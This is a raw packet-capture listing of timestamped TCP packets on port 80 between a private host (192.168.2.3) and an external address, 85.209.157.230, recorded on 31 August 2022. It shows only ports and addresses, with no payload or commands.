Aug 31, 2022 08:34:31.088944912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088972092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.088984013 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.088994980 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.089015961 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.089016914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.089035034 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.089075089 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.089076996 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.089099884 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.089123011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.089164019 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.089179039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.089200974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.089215994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.089221001 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.090647936 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.090677023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.090698957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.090719938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.090742111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.090755939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.090776920 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.090797901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.090821028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.090842009 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.090889931 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.090899944 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.090903044 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.090904951 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.090920925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.090938091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091275930 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091300964 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091321945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091345072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091362953 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.091379881 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.091384888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091401100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091422081 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091444016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091448069 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.091484070 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091495037 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.091507912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091542959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091559887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.091578007 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.092586040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092617989 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092638969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092655897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092672110 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.092711926 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.092729092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092752934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092775106 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092792034 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.092797041 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092819929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092833996 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092844009 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.092931032 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092955112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092978001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.092995882 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.093025923 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.093053102 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.093059063 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.093070984 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.093111992 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.097184896 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.097227097 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.097254992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.097285986 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.097306013 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.097307920 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.097351074 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.098510981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098546028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098608971 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098608971 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.098637104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098674059 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.098681927 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098706007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098733902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098763943 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098773003 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.098789930 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098822117 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098849058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098853111 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.098862886 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.098871946 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.098893881 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.099400043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099447012 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099469900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099494934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099495888 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.099509001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099524021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099529982 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.099653006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099677086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099693060 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.099715948 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099740028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099756002 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.099762917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099782944 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.099800110 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.100102901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100131035 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100153923 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100176096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100191116 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.100198984 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100213051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100215912 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.100400925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100425005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100445986 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100451946 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.100491047 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.100493908 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100517035 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100531101 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100552082 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.100888968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100924969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100946903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100969076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.100976944 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.100986004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101002932 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.101169109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101195097 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101217031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101241112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101242065 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.101264954 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101273060 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.101279974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101336002 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101373911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101408005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101416111 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.101433992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101447105 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.101455927 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101470947 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.101502895 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.107821941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126091957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126130104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126153946 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126168966 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126190901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126211882 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126234055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126255035 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126275063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126290083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126332045 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.126338005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126360893 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126368046 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.126383066 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126421928 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.126451969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126475096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126496077 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126509905 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.126517057 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.127093077 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127127886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127152920 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127173901 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127176046 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.127197027 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127203941 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.127219915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127234936 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.127235889 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127427101 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127451897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127475023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127499104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127500057 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.127521992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127543926 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.127566099 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.127574921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.127599001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128477097 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128530025 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128562927 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128588915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128612995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128623009 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.128635883 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128652096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128664970 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.128673077 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128695965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128717899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128717899 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.128761053 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.128777027 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128798962 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128813028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.128854036 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.129148960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129256010 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129280090 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129302979 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129319906 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.129323959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129347086 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129352093 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.129369020 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129383087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129390001 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.129440069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129463911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129486084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129499912 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.129508018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129529953 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.129565001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129586935 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129601955 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.129602909 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.130148888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.130177975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.130199909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.130203962 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.130255938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.130280018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.130295038 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.130300999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.130316019 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.130326986 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.130702019 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.132869959 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.137269020 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137309074 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137331009 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137352943 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137375116 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137396097 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137402058 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.137418985 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137428045 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.137434006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137456894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137465000 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.137507915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137531996 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137552977 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137572050 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.137574911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137597084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137602091 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.137619019 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137634039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.137639046 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.137981892 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138008118 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138031960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138051987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138060093 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.138072014 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138092041 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138093948 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.138113976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138117075 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.138129950 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138153076 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.138242006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138267040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138288975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138312101 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138329983 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.138333082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138355970 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138359070 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.138379097 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138392925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138417006 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.138915062 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.138967991 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.139003992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139029026 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139053106 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139075994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139095068 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.139097929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139121056 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139125109 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.139143944 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139158964 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139162064 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.139272928 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139297009 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139328957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139338970 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.139368057 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.139399052 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139420986 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139445066 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139465094 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.139470100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139487028 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139529943 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.139838934 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139863968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139885902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139908075 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139930964 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139933109 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.139951944 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139959097 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.139971972 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139986038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.139997005 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.140048027 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.140067101 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.140099049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.140134096 CEST	49763	80	192.168.2.3	85.209.157.230
